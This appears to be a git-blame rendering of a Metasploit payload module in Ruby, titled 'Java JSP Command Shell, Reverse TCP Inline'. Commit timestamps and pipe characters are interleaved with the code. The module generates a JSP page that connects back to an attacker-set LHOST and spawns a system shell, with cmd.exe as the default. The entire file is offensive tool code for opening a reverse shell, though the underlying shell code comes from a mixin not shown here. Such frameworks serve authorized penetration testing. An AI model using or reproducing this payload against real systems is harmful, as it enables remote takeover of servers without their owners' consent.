2009-12-30 22:24:22 +00:00
|
|
|
##
|
2013-10-15 19:52:12 +00:00
|
|
|
# This module requires Metasploit: http//metasploit.com/download
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2009-12-30 22:24:22 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
2014-01-02 22:05:03 +00:00
|
|
|
require 'msf/core/payload/jsp'
|
2009-12-30 22:24:22 +00:00
|
|
|
require 'msf/core/handler/reverse_tcp'
|
|
|
|
require 'msf/base/sessions/command_shell'
|
2010-02-24 01:19:59 +00:00
|
|
|
require 'msf/base/sessions/command_shell_options'
|
2009-12-30 22:24:22 +00:00
|
|
|
|
|
|
|
module Metasploit3
|
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Payload::Single
|
2013-12-31 14:27:37 +00:00
|
|
|
include Msf::Payload::JSP
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Sessions::CommandShellOptions
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(merge_info(info,
|
|
|
|
'Name' => 'Java JSP Command Shell, Reverse TCP Inline',
|
|
|
|
'Description' => 'Connect back to attacker and spawn a command shell',
|
|
|
|
'Author' => [ 'sf' ],
|
|
|
|
'License' => MSF_LICENSE,
|
2013-09-24 17:33:31 +00:00
|
|
|
'Platform' => %w{ linux osx solaris unix win },
|
2013-08-30 21:28:54 +00:00
|
|
|
'Arch' => ARCH_JAVA,
|
|
|
|
'Handler' => Msf::Handler::ReverseTcp,
|
|
|
|
'Session' => Msf::Sessions::CommandShell,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Offsets' => { },
|
|
|
|
'Payload' => ''
|
|
|
|
}
|
|
|
|
))
|
|
|
|
register_options( [ OptString.new( 'SHELL', [ true, "The system shell to use.", 'cmd.exe' ]), ], self.class )
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
def generate
|
|
|
|
|
|
|
|
if( !datastore['LHOST'] or datastore['LHOST'].empty? )
|
|
|
|
return super
|
|
|
|
end
|
|
|
|
|
2013-12-31 14:27:37 +00:00
|
|
|
return super + jsp_reverse_tcp
|
2013-12-30 19:53:58 +00:00
|
|
|
end
|
|
|
|
|
2009-12-30 22:24:22 +00:00
|
|
|
end
|